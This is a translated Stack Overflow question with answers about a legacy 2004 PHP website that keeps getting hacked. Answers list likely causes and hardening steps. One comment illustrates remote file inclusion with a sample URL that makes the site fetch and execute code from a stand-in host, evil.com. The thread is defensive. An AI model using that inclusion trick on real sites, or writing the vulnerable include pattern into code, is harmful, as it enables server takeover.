【问题标题】:how to secure my website如何保护我的网站
【发布时间】:2014-08-17 23:51:58
【问题描述】:

我知道保护任何网站都是一个非常艰难和广泛的话题,但我想将这个问题与我一直在处理的特定网站联系起来。它是在 2004 年左右由其他一些程序员用 php 编码的,我负责它的管理。我的问题是它一次又一次地被黑客入侵。当它被黑客入侵时,我注意到了以下事情。

  1. .htaccess文件已修改
  2. index.phpconfig.php 文件已修改
  3. 管理员密码已更改
  4. 在服务器中上传文件
  5. 更改文件和文件夹的文件权限

我已经处理过代码,它已被正确转义,我认为没有 sql 注入的可能性。由于大部分问题与文件和权限有关,我对服务器安全性有疑问,但由于它是在 2004 年左右编码的原因,它肯定会缺乏一些安全性,所以我需要在我的代码中处理哪些其他事情防止我的网站因上述问题而被黑客入侵?

提前致谢。

【问题讨论】:

  • 在这个问题上尝试一些解决方案:serverfault.com/questions/12847/penetration-testing。有许多测试工具可以告诉您问题出在哪里......
  • 你的主机是什么?共享? VDS还是专用?如果它是共享的,那么第一站就是您的虚拟主机。
  • 它们以什么方式被修改过?添加了什么?您应该要求服务器管理员在机器上执行病毒扫描。您也有可能受到某种暴力攻击的影响,该攻击已进入系统并获得了 root 访问权限。
  • @SimonAndréForsberg 将 index.php 和 config.php 的内容替换为黑客的 html 内容
  • 在 2004 年非常流行的另一件事是将 register_globals 设置为开启。可能是 PHP 历史上最大的安全漏洞。我确实希望它现在设置为 OFF,并且代码在适当的地方使用 $_GET、$_POST 等,而不是使用 $_REQUEST。

标签: php security


【解决方案1】:

由于文件已被修改,这不太可能是由于 SQL 注入错误。

获取文件的可能性:

  • 猜测/窃取您的 FTP 密码
  • 破解服务器(您对此无能为力)
  • 服务器上的隔离不足,这意味着其他客户可以更改您的文件(您也无能为力)
  • 远程代码执行错误

现在,既然您说该网站是 2004 年的,可能是它使用 eval 进行模板化或使用 include 进行 site.php?section=foo 之类的东西,然后在某处的代码中包含 foo.php,这两者都经常返回在 2004 年。所以我会对 eval 和正则表达式 include(.*\$.*) 以及 require(.*\$.*) 进行快速文件搜索。这些是主要嫌疑人,具体取决于它们的使用方式。

【讨论】:

  • “你真的什么都做不了”,改变主机,通知你的提供商有关问题或修复你的服务器配置。
  • 我想在“猜测/窃取您的 FTP 密码”中添加“或 SSH 密码”。
  • @mensi 您说的很对,因为要包含的文件像您所说的那样在 url 中传递,并且使用了一些 eval 函数,但我找不到包含文件的 regex。无论如何,感谢您的回答,我会照顾代码并希望我能修复它。
  • @uttam:根据访问者的数据确保不包含任何内容。如果你在某处做include($section.'.php'),我可以简单地访问yoursite.php?section=http://evil.com/hack,php 的远程包含功能将包括http://evil.com/hack.php 并在那里执行代码。使用 eval,还要确保没有用户提供的值进入那里。
【解决方案2】:

可能有人可以直接访问服务器,而不是特别是 (a) 脚本。这听起来不像是源于代码库的安全问题。

如果这种情况一再发生,您可能需要考虑将整个网站转移到另一个提供商。从其他地方重新开始,使用新密码、访问控制等。

【讨论】:

    【解决方案3】:

    OWASP top 10 非常好读。我的一些猜测。

    • 存在漏洞的过时操作系统。
    • MySQL 注入,可能所有密码都以纯文本形式存储,这非常非常糟糕。对于身份验证,您应该改用 openID 之类的东西。此外,当您进行 MySQL 注入时,如果可能,您应该立即更新代码以使用 PDO(准备好的语句)。
    • 读/写权限设置不正确或 APACHE/PHP 在更高级别运行?

    我给你的建议是:

    • 阅读有关 OWASP 的信息。然后清楚地寻找代码中的缺陷。每条线都可能是源问题。也许您应该抛弃旧代码,因为它非常不安全?
    • 重新安装您的操作系统,因为您甚至可以拥有一个 rootkit?

    【讨论】:

    • PDO 或 mysqli -- 我自己更喜欢 mysqli ;)
    【解决方案4】:
    • 永远不要只使用共享主机,至少使用托管服务器/保持系统最新
    • 检查您的 php.ini 是否存在安全问题(您可以 google)
    • 检查您的 Apache/Nginx/... 配置是否有覆盖
    • 切勿与服务器进行未加密的通信(使用 SFTP、SSH 等)
    • 永远不要相信外部值(也来自 Cookie),始终转义/强制转换这些值
    • 过滤用户输入(删除换行符、0x00 字符、标签等不受欢迎的地方)
    • 检查服务器/数据库/的所有可能存在的用户帐户...
    • 检查所有服务是否以正确的用户身份运行
    • 检查您的网络文件夹中的文件(写入/执行)权限
    • 转义您在网站上显示的所有内容,甚至不要相信您的数据库数据以任何方式安全
    • 如果您使用第 3 方软件,请注意安全建议
    • 重新安装服务器,你可能已经root了
    • 使用准备好的语句

    就是这样;)这将大大增强您的安全性,但有经验的攻击者是强硬的。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2012-05-16
      • 2011-05-27
      • 2012-12-13
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多